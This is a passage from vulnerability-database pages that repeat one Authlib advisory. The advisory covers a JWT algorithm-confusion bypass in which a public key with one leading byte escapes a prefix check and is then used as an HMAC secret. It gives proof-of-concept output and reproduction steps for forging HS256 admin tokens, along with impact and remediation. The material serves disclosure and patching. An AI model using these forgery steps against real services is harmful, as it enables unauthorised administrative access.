secret, and it is bypassed by a single leading byte.
PoC
poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented
jwt.decode(token, PUBLIC_KEY), where PUBLIC_KEY is the issuer's RSA public key embedded as a
triple-quoted Python literal (hence one leading newline). The attacker is given only that public
key.
authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]
algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])
[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError
ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')
The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation.
Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes:
### RSA-2048/RS256
canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError
indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin
[CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError
### EC-P256/ES256
identical results for all seven rows
Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
Steps to reproduce
pip install authlib==1.8.0 cryptography flask requests- Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline (or indent it, or prepend a BOM or a comment line).
- Confirm
authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYSdoes not match those bytes withstartswith, whilecryptography.hazmat.primitives.serialization.load_pem_public_keyloads them. from authlib.jose import jwtthentok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)jwt.decode(tok, mutated_pem)— verification succeeds and the claims are returned.
Impact
Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm
confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by
definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with
arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP
200 and the application's admin secrets for sub=attacker.
Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent,
read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented
footgun it backstops.
Two notes for triage, in the interest of completeness:
authlib.joseemitsAuthlibDeprecationWarning("please use joserfc instead. It will be compatible before version 2.0.0"). It is deprecated but still shipped, still documented indocs/jose/jwt.rst, and still carries the download volume above.- joserfc is not affected by this mechanism. 1.7.5 was checked: keys carry an explicit
ktyin the data model, sojwt.decodewith anRSAKey/ECKeyandalg=HS256raisesInvalidKeyTypeErrorfor every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what makes the class unrepresentable there.
Suggested remediation
Either of these closes the class rather than one more byte form:
- Decide key family by type, not by bytes. Attempt
load_pem_public_key/load_pem_x509_certificate/load_ssh_public_key/load_der_public_keyon the candidate and reject it as anoctkey if any of them succeeds. This is the approach that makes joserfc immune and it cannot drift out of step with the loader, because it is the loader. - If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check
(
any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) and add the-----BEGIN CERTIFICATE-----and DERSubjectPublicKeyInfocases. This is strictly weaker than (1): the recogniser can drift again the next timecryptographybecomes more tolerant.
Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter
would let callers of the documented module-level object apply the mitigation the docs recommend without
constructing a second JsonWebToken.
Credit
Found by zer0d4y5. Happy to test a patch branch before release.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "authlib",
"resource_purl": "pkg:pypi/authlib@1.8.0",
"upstream_fixed_in": "1.9.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "kimi-cli",
"purl": "pkg:brew/kimi-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0.40"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/authlib@1.8.0",
"name": "authlib",
"resource": "authlib",
"strategy": "registry",
"subject_version": "1.8.0"
}
]
},
"details": "## Summary\n\n`OctKey.import_key()` carries the only guard that stops an asymmetric public key from being used as an\nHMAC secret in `authlib.jose`. That guard is `raw_key.startswith(POSSIBLE_UNSAFE_KEYS)` \u2014 anchored at\nbyte 0 \u2014 while the loader that consumes the identical bytes on the asymmetric path\n(`cryptography.hazmat.primitives.serialization.load_pem_public_key` / `load_pem_x509_certificate`)\nskips anything before the `-----BEGIN` line. A PEM public key or X.509 certificate carrying **one\nleading byte** \u2014 a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line \u2014 is\ntherefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the\nissuer\u0027s public key then mints an `HS256` token with arbitrary claims that `jwt.decode()` accepts as\nauthentic.\n\nThis is an incomplete fix of **CVE-2024-37568 / GHSA-5357-c2jx-v7qh**. That advisory\u0027s fix is exactly\nthis guard (`git log -S \u0027POSSIBLE_UNSAFE_KEYS\u0027 -- authlib/jose/rfc7518/oct_key.py` returns a single\ncommit, `3bea812` \"fix: prevent OctKey to import ssh/rsa/pem keys\", referencing issue #654), and the\noriginal attack works again unchanged whenever the stored PEM does not start at offset 0.\n\nReproduced end-to-end on **1.8.0**, the newest release (published 2026-08-30), and on `origin/main`\n(`c529a61`), with `cryptography` 50.0.2.\n\n## Preconditions\n\nBoth are deployment properties; neither is attacker-controlled at request time, and the attacker needs\nno secret and no user interaction.\n\n1. **The relying party uses the documented module-level `jwt` object.** `from authlib.jose import jwt`\n is built at `authlib/jose/__init__.py:55-72` with the full list\n `[\"HS256\",\"HS384\",\"HS512\",\"RS256\",...,\"EdDSA\"]`, and `JsonWebToken.decode`\n (`authlib/jose/rfc7519/jwt.py:80`) exposes **no `algorithms` parameter**, so a caller of the\n documented object has no way to narrow it. This is the first code sample in\n `docs/jose/jwt.rst:21-31`.\n\n This hazard is already documented: `docs/jose/jwt.rst:73-79` says\n \"This decoding method is insecure. By default `jwt.decode` parses the alg header. This allows\n symmetric macs and asymmetric signatures.\", and `docs/jose/jwt.rst:94-98` says \"You should never\n combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes.\" The point of this report is\n **not** that the mixed list exists \u2014 it is that the `oct_key.py:81` backstop shipped for precisely\n that documented hazard does not hold.\n\n2. **The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with\n `-----BEGIN `.** Each of the following forms was confirmed to forge, and each also still verifies a\n genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:\n * one leading newline \u2014 what a triple-quoted Python literal produces\n * one leading space\n * four-space indentation \u2014 an indented YAML/JSON/TOML config block\n * a UTF-8 BOM \u2014 a Windows-editor artifact\n * a leading comment line\n * all of the above applied to an X.509 `CERTIFICATE` PEM instead of a `PUBLIC KEY` PEM\n\n A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric\n verification through this path, so I exclude it as a non-deployable configuration and mention it\n only as further evidence of the recogniser/loader gap.\n\n## Details\n\n`authlib/jose/rfc7518/oct_key.py:10-17`\n\n```python\nPOSSIBLE_UNSAFE_KEYS = (\n b\"-----BEGIN \",\n b\"---- BEGIN \",\n b\"ssh-rsa \",\n b\"ssh-dss \",\n b\"ssh-ed25519 \",\n b\"ecdsa-sha2-\",\n)\n```\n\n`authlib/jose/rfc7518/oct_key.py:78-84`\n\n```python\nraw_key = to_bytes(raw)\n\n# security check\nif raw_key.startswith(POSSIBLE_UNSAFE_KEYS):\n raise ValueError(\"This key may not be safe to import\")\n\nkey = cls(raw_key=raw_key, options=options)\n```\n\n`bytes.startswith` is anchored. The loader on the asymmetric path is not:\n`authlib/jose/rfc7517/_cryptography_key.py:22-29` calls `load_pem_public_key` /\n`load_pem_x509_certificate`, both of which scan forward for the armour header. So the set of byte\nstrings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference\nis exploitable.\n\nReach, for a caller of the documented object:\n\n* `authlib/jose/rfc7518/jws_algs.py:59` \u2014 `HMACAlgorithm.prepare_key(raw_data)` returns\n `OctKey.import_key(raw_data)`; this is the whole of the HMAC key handling.\n* `authlib/jose/rfc7519/jwt.py:80` \u2014 `JsonWebToken.decode(self, s, key, claims_cls=None,\n claims_options=None, claims_params=None)`; the algorithm comes from the token header and is checked\n only against the instance\u0027s list.\n* `authlib/jose/__init__.py:55-72` \u2014 that list contains both HS\\* and RS\\*/ES\\*/PS\\*/EdDSA.\n\nSo `oct_key.py:81` is the only thing between a mixed allow-list and using the public key as an HMAC\nsecret, and it is bypassed by a single leading byte.\n\n## PoC\n\n`poc-authlib-e2e-http.py` stands up a Flask API whose only authentication is the documented\n`jwt.decode(token, PUBLIC_KEY)`, where `PUBLIC_KEY` is the issuer\u0027s RSA public key embedded as a\ntriple-quoted Python literal (hence one leading newline). The attacker is given **only** that public\nkey.\n\n```\nauthlib=1.8.0 cryptography=50.0.2 flask=3.1.3\nguard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)\ncall = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]\nalgs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])\n\n[baseline 1] genuine RS256 token, role=user -\u003e (403, \u0027{\"error\":\"not admin\",\"sub\":\"alice\"}\u0027)\n[baseline 2] genuine RS256 token, role=admin -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"root\"}\u0027)\n[CONTROL 1 ] payload tampered, RS256 sig kept -\u003e (401, \u0027{\"error\":\"BadSignatureError: bad_signature: \"}\u0027)\n[CONTROL 2 ] HS256 forged with CANONICAL pubkey -\u003e BLOCKED at key import: ValueError: This key may not be safe to import\n[CONTROL 3 ] JsonWebToken([\u0027RS256\u0027]) vs forged token -\u003e REJECTED: UnsupportedAlgorithmError\n\nATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.\nforged token header: {\u0027alg\u0027: \u0027HS256\u0027, \u0027typ\u0027: \u0027JWT\u0027}\n[ATTACK ] HS256 forged with the PUBLIC key -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"attacker\"}\u0027)\n```\n\nThe three controls establish that the guard does work on a canonical PEM (so the leading byte is\nload-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an\neffective mitigation.\n\nPer-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds\non the exact same bytes:\n\n```\n### RSA-2048/RS256\n canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError\n indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin\n [CONTROL C] JsonWebToken([\u0027RS256\u0027]).decode(forged HS256) -\u003e REJECTED:UnsupportedAlgorithmError\n\n### EC-P256/ES256\n identical results for all seven rows\n\nSame five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.\n```\n\n### Steps to reproduce\n\n1. `pip install authlib==1.8.0 cryptography flask requests`\n2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline\n (or indent it, or prepend a BOM or a comment line).\n3. Confirm `authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS` does not match those bytes with\n `startswith`, while `cryptography.hazmat.primitives.serialization.load_pem_public_key` loads them.\n4. `from authlib.jose import jwt` then\n `tok = jwt.encode({\"alg\":\"HS256\"}, {\"sub\":\"attacker\",\"role\":\"admin\"}, mutated_pem)`\n5. `jwt.decode(tok, mutated_pem)` \u2014 verification succeeds and the claims are returned.\n\n## Impact\n\nCryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm\nconfusion). An unauthenticated attacker who knows only the issuer\u0027s public verification key \u2014 public by\ndefinition, normally served at `/.well-known/jwks.json` or in IdP metadata \u2014 forges tokens with\narbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP\n200 and the application\u0027s admin secrets for `sub=attacker`.\n\nAuthlib had **103,356,930** PyPI downloads in the last month (pypistats `/api/packages/authlib/recent`,\nread 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented\nfootgun it backstops.\n\nTwo notes for triage, in the interest of completeness:\n\n* `authlib.jose` emits `AuthlibDeprecationWarning` (\"please use joserfc instead. It will be compatible\n before version 2.0.0\"). It is deprecated but still shipped, still documented in `docs/jose/jwt.rst`,\n and still carries the download volume above.\n* **joserfc is not affected by this mechanism.** 1.7.5 was checked: keys carry an explicit `kty` in the\n data model, so `jwt.decode` with an `RSAKey`/`ECKey` and `alg=HS256` raises `InvalidKeyTypeError` for\n every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what\n makes the class unrepresentable there.\n\n## Suggested remediation\n\nEither of these closes the class rather than one more byte form:\n\n1. Decide key family by **type, not by bytes**. Attempt `load_pem_public_key` /\n `load_pem_x509_certificate` / `load_ssh_public_key` / `load_der_public_key` on the candidate and\n reject it as an `oct` key if any of them succeeds. This is the approach that makes joserfc immune and\n it cannot drift out of step with the loader, because it *is* the loader.\n2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check\n (`any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)`) and add the `-----BEGIN CERTIFICATE-----` and\n DER `SubjectPublicKeyInfo` cases. This is strictly weaker than (1): the recogniser can drift again\n the next time `cryptography` becomes more tolerant.\n\nSeparately, and independent of this report: giving `JsonWebToken.decode` an `algorithms=` parameter\nwould let callers of the documented module-level object apply the mitigation the docs recommend without\nconstructing a second `JsonWebToken`.\n\n## Credit\n\nFound by zer0d4y5. Happy to test a patch branch before release.",
"id": "BREW-kimi-cli-CVE-2026-114615",
"modified": "2026-10-29T23:30:56Z",
"published": "2026-10-29T23:30:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114615"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys",
"upstream": [
"GHSA-7vr2-2fgp-9w7p",
"CVE-2026-114615"
]
}
BREW-MCP-ATLASSIAN-CVE-2… (GHSA-7VR2-2FGP-9W7P)
Vulnerability from osv_homebrew – Published: 2026-10-29 22:18 – Updated: 2026-10-29 22:18 – Source websiteSummary
OctKey.import_key() carries the only guard that stops an asymmetric public key from being used as an
HMAC secret in authlib.jose. That guard is raw_key.startswith(POSSIBLE_UNSAFE_KEYS) — anchored at
byte 0 — while the loader that consumes the identical bytes on the asymmetric path
(cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate)
skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one
leading byte — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is
therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the
issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as
authentic.
This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly
this guard (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py returns a single
commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the
original attack works again unchanged whenever the stored PEM does not start at offset 0.
Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main
(c529a61), with cryptography 50.0.2.
Preconditions
Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction.
- The relying party uses the documented module-level
jwtobject.from authlib.jose import jwtis built atauthlib/jose/__init__.py:55-72with the full list["HS256","HS384","HS512","RS256",...,"EdDSA"], andJsonWebToken.decode(authlib/jose/rfc7519/jwt.py:80) exposes noalgorithmsparameter, so a caller of the documented object has no way to narrow it. This is the first code sample indocs/jose/jwt.rst:21-31.
This hazard is already documented: docs/jose/jwt.rst:73-79 says
"This decoding method is insecure. By default jwt.decode parses the alg header. This allows
symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never
combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is
not that the mixed list exists — it is that the oct_key.py:81 backstop shipped for precisely
that documented hazard does not hold.
- The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with
-----BEGIN. Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken: - one leading newline — what a triple-quoted Python literal produces
- one leading space
- four-space indentation — an indented YAML/JSON/TOML config block
- a UTF-8 BOM — a Windows-editor artifact
- a leading comment line
- all of the above applied to an X.509
CERTIFICATEPEM instead of aPUBLIC KEYPEM
A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap.
Details
authlib/jose/rfc7518/oct_key.py:10-17
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)
authlib/jose/rfc7518/oct_key.py:78-84
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
key = cls(raw_key=raw_key, options=options)
bytes.startswith is anchored. The loader on the asymmetric path is not:
authlib/jose/rfc7517/_cryptography_key.py:22-29 calls load_pem_public_key /
load_pem_x509_certificate, both of which scan forward for the armour header. So the set of byte
strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference
is exploitable.
Reach, for a caller of the documented object:
authlib/jose/rfc7518/jws_algs.py:59—HMACAlgorithm.prepare_key(raw_data)returnsOctKey.import_key(raw_data); this is the whole of the HMAC key handling.authlib/jose/rfc7519/jwt.py:80—JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); the algorithm comes from the token header and is checked only against the instance's list.authlib/jose/__init__.py:55-72— that list contains both HS* and RS*/ES*/PS*/EdDSA.
So oct_key.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC
secret, and it is bypassed by a single leading byte.
PoC
poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented
jwt.decode(token, PUBLIC_KEY), where PUBLIC_KEY is the issuer's RSA public key embedded as a
triple-quoted Python literal (hence one leading newline). The attacker is given only that public
key.
authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]
algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])
[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError
ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')
The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation.
Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes:
### RSA-2048/RS256
canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError
indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin
[CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError
### EC-P256/ES256
identical results for all seven rows
Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
Steps to reproduce
pip install authlib==1.8.0 cryptography flask requests- Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline (or indent it, or prepend a BOM or a comment line).
- Confirm
authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYSdoes not match those bytes withstartswith, whilecryptography.hazmat.primitives.serialization.load_pem_public_keyloads them. from authlib.jose import jwtthentok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)jwt.decode(tok, mutated_pem)— verification succeeds and the claims are returned.
Impact
Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm
confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by
definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with
arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP
200 and the application's admin secrets for sub=attacker.
Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent,
read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented
footgun it backstops.
Two notes for triage, in the interest of completeness:
authlib.joseemitsAuthlibDeprecationWarning("please use joserfc instead. It will be compatible before version 2.0.0"). It is deprecated but still shipped, still documented indocs/jose/jwt.rst, and still carries the download volume above.- joserfc is not affected by this mechanism. 1.7.5 was checked: keys carry an explicit
ktyin the data model, sojwt.decodewith anRSAKey/ECKeyandalg=HS256raisesInvalidKeyTypeErrorfor every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what makes the class unrepresentable there.
Suggested remediation
Either of these closes the class rather than one more byte form:
- Decide key family by type, not by bytes. Attempt
load_pem_public_key/load_pem_x509_certificate/load_ssh_public_key/load_der_public_keyon the candidate and reject it as anoctkey if any of them succeeds. This is the approach that makes joserfc immune and it cannot drift out of step with the loader, because it is the loader. - If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check
(
any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) and add the-----BEGIN CERTIFICATE-----and DERSubjectPublicKeyInfocases. This is strictly weaker than (1): the recogniser can drift again the next timecryptographybecomes more tolerant.
Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter
would let callers of the documented module-level object apply the mitigation the docs recommend without
constructing a second JsonWebToken.
Credit
Found by zer0d4y5. Happy to test a patch branch before release.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "authlib",
"resource_purl": "pkg:pypi/authlib@1.9.1",
"upstream_fixed_in": "1.9.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "mcp-atlassian",
"purl": "pkg:brew/mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0.11.11"
},
{
"fixed": "0.23.1_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/authlib@1.9.1",
"name": "authlib",
"resource": "authlib",
"strategy": "registry",
"subject_version": "1.9.1"
}
]
},
"details": "## Summary\n\n`OctKey.import_key()` carries the only guard that stops an asymmetric public key from being used as an\nHMAC secret in `authlib.jose`. That guard is `raw_key.startswith(POSSIBLE_UNSAFE_KEYS)` \u2014 anchored at\nbyte 0 \u2014 while the loader that consumes the identical bytes on the asymmetric path\n(`cryptography.hazmat.primitives.serialization.load_pem_public_key` / `load_pem_x509_certificate`)\nskips anything before the `-----BEGIN` line. A PEM public key or X.509 certificate carrying **one\nleading byte** \u2014 a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line \u2014 is\ntherefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the\nissuer\u0027s public key then mints an `HS256` token with arbitrary claims that `jwt.decode()` accepts as\nauthentic.\n\nThis is an incomplete fix of **CVE-2024-37568 / GHSA-5357-c2jx-v7qh**. That advisory\u0027s fix is exactly\nthis guard (`git log -S \u0027POSSIBLE_UNSAFE_KEYS\u0027 -- authlib/jose/rfc7518/oct_key.py` returns a single\ncommit, `3bea812` \"fix: prevent OctKey to import ssh/rsa/pem keys\", referencing issue #654), and the\noriginal attack works again unchanged whenever the stored PEM does not start at offset 0.\n\nReproduced end-to-end on **1.8.0**, the newest release (published 2026-08-30), and on `origin/main`\n(`c529a61`), with `cryptography` 50.0.2.\n\n## Preconditions\n\nBoth are deployment properties; neither is attacker-controlled at request time, and the attacker needs\nno secret and no user interaction.\n\n1. **The relying party uses the documented module-level `jwt` object.** `from authlib.jose import jwt`\n is built at `authlib/jose/__init__.py:55-72` with the full list\n `[\"HS256\",\"HS384\",\"HS512\",\"RS256\",...,\"EdDSA\"]`, and `JsonWebToken.decode`\n (`authlib/jose/rfc7519/jwt.py:80`) exposes **no `algorithms` parameter**, so a caller of the\n documented object has no way to narrow it. This is the first code sample in\n `docs/jose/jwt.rst:21-31`.\n\n This hazard is already documented: `docs/jose/jwt.rst:73-79` says\n \"This decoding method is insecure. By default `jwt.decode` parses the alg header. This allows\n symmetric macs and asymmetric signatures.\", and `docs/jose/jwt.rst:94-98` says \"You should never\n combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes.\" The point of this report is\n **not** that the mixed list exists \u2014 it is that the `oct_key.py:81` backstop shipped for precisely\n that documented hazard does not hold.\n\n2. **The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with\n `-----BEGIN `.** Each of the following forms was confirmed to forge, and each also still verifies a\n genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:\n * one leading newline \u2014 what a triple-quoted Python literal produces\n * one leading space\n * four-space indentation \u2014 an indented YAML/JSON/TOML config block\n * a UTF-8 BOM \u2014 a Windows-editor artifact\n * a leading comment line\n * all of the above applied to an X.509 `CERTIFICATE` PEM instead of a `PUBLIC 